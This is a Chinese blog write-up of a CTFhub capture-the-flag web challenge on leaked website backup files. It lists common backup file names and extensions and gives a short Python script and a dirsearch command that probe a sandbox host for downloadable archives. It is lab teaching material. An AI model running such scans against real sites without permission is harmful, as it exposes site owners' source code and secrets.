# 【CTFhub】web-信息泄露-备份文件下载-网站源码_WriteUp

原创

KUSIA_ 于 2021-11-04 16:34:32 发布 1940 收藏

分类专栏： ctfhub-writeup 文章标签： 前端 安全 安全漏洞 网络安全



本文链接：https://blog.csdn.net/weixin_45633243/article/details/121145498



## 目录导航

开启题目

前置知识

解题步骤

手动排列组合

代码排列组合

dirsearch.py使用

## 开启题目

> 当开发人员在线上环境中对源代码进行了备份操作，并且将备份文件放在了 web 目录下，就会引起网站源码泄露。

## 前置知识

**常见的网站源码备份文件后缀**

---

- tar
- tar.gz
- zip
- rar

**常见的网站源码备份文件名**

---

- web
- website
- backup
- back
- www
- wwwroot
- temp

由此可知，排列组合就可以找到备份文件

## 解题步骤

## 手动排列组合

在url的末尾输入类似于 /index.php.bak
逐个尝试直到有下载框


但手动效率很低，并且要注意下载下来里面并没有flag明文，但是标题写的仍然是flag_xx.txt

证明该文件中确实应该保存的是flag，想到该压缩包是备份文件，所以在网站上一定有真正的文件

所以尝试在网站上打开该文件

```
http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.com:10080/flag_48739440.txt
```

至此，拿到flag

## 代码排列组合

源码扫描：返回200 表示该文件可访问

```
import requests

url1 = 'http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.com:10080/'  # url为被扫描地址，后不加'/'

# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']

for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url = str(url1) + '/' + back
        print(back + '    ', end='')
        print(requests.get(url).status_code)
```

然后再通过url下载文件，要注意下载下来里面并没有flag明文，但是标题写的仍然是flag_xx.txt

证明该文件中确实应该保存的是flag，想到该压缩包是备份文件，所以在网站上一定有真正的文件

所以尝试在网站上打开该文件

```
http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.com:10080/flag_48739440.txt
```

至此，拿到flag

## dirsearch.py使用

> dirsearch是一个简单的命令行工具，用于强制执行网站中的目录和文件。

下载安装：https://blog.csdn.net/zhangxiansheng12/article/details/106007179 (随便找的)

```
python3 dirsearch.py -u http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.com:10080/ -e *
```

查看返回值，大部分都是503，返回200的表示可以访问

然后再通过url下载文件，要注意下载下来里面并没有flag明文，但是标题写的仍然是flag_xx.txt

证明该文件中确实应该保存的是flag，想到该压缩包是备份文件，所以在网站上一定有真正的文件

所以尝试在网站上打开该文件

```
http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.com:10080/flag_48739440.txt
```

至此，拿到flag

参考:

https://www.cnblogs.com/anweilx/p/12420224.html

https://blog.csdn.net/weixin_44037296/article/details/104596744